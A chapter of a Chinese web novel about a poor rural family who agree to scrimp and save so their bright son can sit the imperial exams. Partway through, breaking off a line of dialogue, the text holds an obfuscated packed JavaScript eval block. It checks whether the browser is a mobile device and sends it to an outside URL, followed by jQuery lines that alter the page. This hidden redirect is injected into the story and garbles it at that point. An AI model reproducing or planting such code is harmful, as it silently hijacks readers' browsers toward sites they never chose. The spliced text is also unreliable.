乡塾里那番关于“童试”、“号舍”、“干粮”的谈话，像一块沉重的石头，被林湛揣在怀里带回了家。晚饭时，一家人围坐在破木桌旁，照例是稀薄的菜粥和杂粮饼子。林湛吃得有些心不在焉，粥碗见了底，还拿着半块饼子在手里慢慢转着。
王氏最先察觉不对，摸了摸他的额头：“湛哥儿，咋了？是不是在学堂累了？还是哪里不舒服？”
林大山也看过来，闷声问：“夫子说啥了？”
林湛放下饼子，抬眼看了看父母，又看看一旁好奇的姐姐大丫，决定把事情摊开来说。他知道，科举不是他一个人的事，是这个家的事。
“爹，娘，阿姐，”他坐直了些，声音清晰，“今天夫子跟我们讲了考科举的事。”
“科举？”大丫眼睛一亮，“就是考状元吗？”
“还远着呢。”林湛摇头，先捡最要紧的说，“第一步，得先考‘童生’。要去县城考，得找廪生（有廪米的秀才）作保，要交‘结状费’、‘卷子钱’，还得在县城住几天，吃饭住宿都要钱。”
他顿了顿，继续道：“考过了童生，才能考‘秀才’。考秀才要去府城，路更远，花销更大。而且，就算考秀才，也不是一次就能中的。夫子说，很多人考到头发白了，还是童生。”
屋里安静下来，只剩下油灯灯芯燃烧的轻微噼啪声。王氏脸上的关切渐渐被一层愁云覆盖。林大山握着粥碗的手，指节微微发白。
“去县城……得多少钱？”王氏声音有些发干。
林湛根据夫子的描述和货郎陈叔闲聊时提过的物价，大致估算：“结状费、卷子钱，大概要好几百文。在县城住最便宜的客栈，吃最简单的饭，考几天，恐怕也得一两百文。来回车马或者走路，吃喝……加起来，最少也得……七八百文吧？可能还不够。”他说了个保守数字，实际上可能更多。
“七八百文……”王氏倒吸一口凉气，手指无意识地绞着衣角。家里一年到头也见不到几个现钱，鸡蛋换盐，粮食糊口，攒下几十文都难。七八百文？那简直是天文数字！
林大山沉默着，把碗里最后一点粥喝干净，抹了把嘴，才开口，声音有些沙哑：“考秀才呢？去府城？”
“府城更远，花费至少翻倍，可能……要一两多银子吧。”林湛低声道。他知道，对于这个家庭来说，一两银子意味着什么——那可能是全家两三年的全部现金积蓄，甚至根本不可能有。
油灯的光晕在每个人脸上跳动，映出凝重与茫然。大丫也听懂了，小声说：“要那么多钱啊……”
“还有，”林湛补充道，声音更轻了些，“就算考，也不一定中。可能钱花了，时间搭进去，最后还是……白身。” 他把最残酷的可能性也摆了出来。
长时间的沉默。屋外的虫鸣显得格外清晰。
忽然，林大山重重放下碗，声音不大，却带着一种斩钉截铁的力道：“考！”
王氏和两个孩子都看向他。
林大山看着林湛，眼神里是林湛从未见过的、混合着艰辛与决绝的光芒：“湛哥儿，爹是个粗人，不懂那些大道理。可爹知道，你脑子灵，是块读书的料！咱们这样的人家，祖祖辈辈土里刨食，看天吃饭，受人白眼。你娘嫁过来，没穿过一件像样的衣裳；你姐这么大了，连镇子都没去过几回。为啥？就因为你爹我没本事！”
他喉头滚动了一下，继续道：“现在，老天爷开眼，给了你这么个脑袋瓜子，孙夫子也看重你。这就是咱家唯一的指望！不就是钱吗？爹去挣！多进山！多找活！咱家那两亩地，我跟你娘精心伺候，多收一粒是一粒！你娘手巧，多纺线，多织布！大丫也能多挖野菜、多捡柴火！咱们全家勒紧裤腰带，攒！”
他越说越激动，眼圈有些发红：“一次考不中，就考两次！两次不中，只要你还想读，爹就还供！不就是多流点汗，多熬几年吗？爹还熬得起！咱不能因为眼前难，就把你的前程掐断了！那才是真的对不住祖宗，对不住你！”
王氏听着丈夫的话，起初的愁苦渐渐化作了泪水，在眼眶里打转。她擦擦眼角，用力点头：“当家的说得对！湛哥儿，你别担心钱！娘就是一夜不睡，多纺几两线，也能多换几文钱！娘陪嫁还有根银簪子，虽然细，紧要关头也能当点钱……”
“娘！那是外婆留给你的！”大丫急了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179281|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傻丫头，东西是死的，人是活的！”王氏搂住女儿，“你弟弟出息了，比什么簪子都强！”
林湛鼻子发酸，心里像被什么东西堵住了，又暖又胀。他看着父母因为常年劳作而粗糙憔悴的脸，看着姐姐懂事又急切的眼神，一句话也说不出来。
林大山稳了稳情绪，开始具体盘算：“眼下离你能考童试，还有几年。这几年，咱们就一个字：攒！我明天就去问问赵石匠，看他那里有没有更多零活，砌墙、修猪圈都行！后山的木头，我也多砍些好的，扛到镇上卖。咱家那鸡，得养好了，鸡蛋一个不留，全攒着换钱。”
王氏也盘算着：“我纺线的手艺还行，以后白天忙完地里家里的，晚上多点会儿灯，多纺些。大丫，你跟娘学学，也能帮上手。菜地按湛哥儿的法子弄，长得好了，自家吃不完的也能换点。”
大丫用力点头：“嗯！我还能多挖野菜！我知道哪片山坡的野菜又多又好！”
林湛听着家人你一言我一语的计划，每一个字都沉甸甸地压在他心上，也化作了无穷的动力。他知道，自己没有任何理由懈怠，没有任何资格辜负。
“爹，娘，阿姐，”他站起身，走到父母面前，很认真地说，“钱要攒，书我也一定会好好读。不光读，我还要想办法，让咱家日子能好过一点。我会算账，能帮人看事，也许……也能换点润笔钱？夫子那里，我也会更用心。”
林大山重重拍了拍他的肩膀：“好小子！有志气！家里的事你不用操心，有爹娘和你姐！你的任务，就是跟着夫子，把书读透，把文章写好！将来考个功名回来，让咱们林家，也扬眉吐气一回！”
家庭会议在一种悲壮又充满希望的气氛中结束。油灯里的油快燃尽了，光线暗淡下去。但每个人眼中，却似乎燃起了一簇更亮的光。
这一夜，林大山在炕上翻来覆去，盘算着明天去哪里找活计。王氏则真的点起了那盏平时舍不得多点的小油灯，坐在纺车前，嗡嗡的纺线声，在寂静的夜里响到很晚。大丫挨着弟弟，小声说着明天要去挖野菜的新计划。林湛躺在“床”上，听着父母的低语和纺车的声音，望着窗外透进的点点星光，久久无法入睡。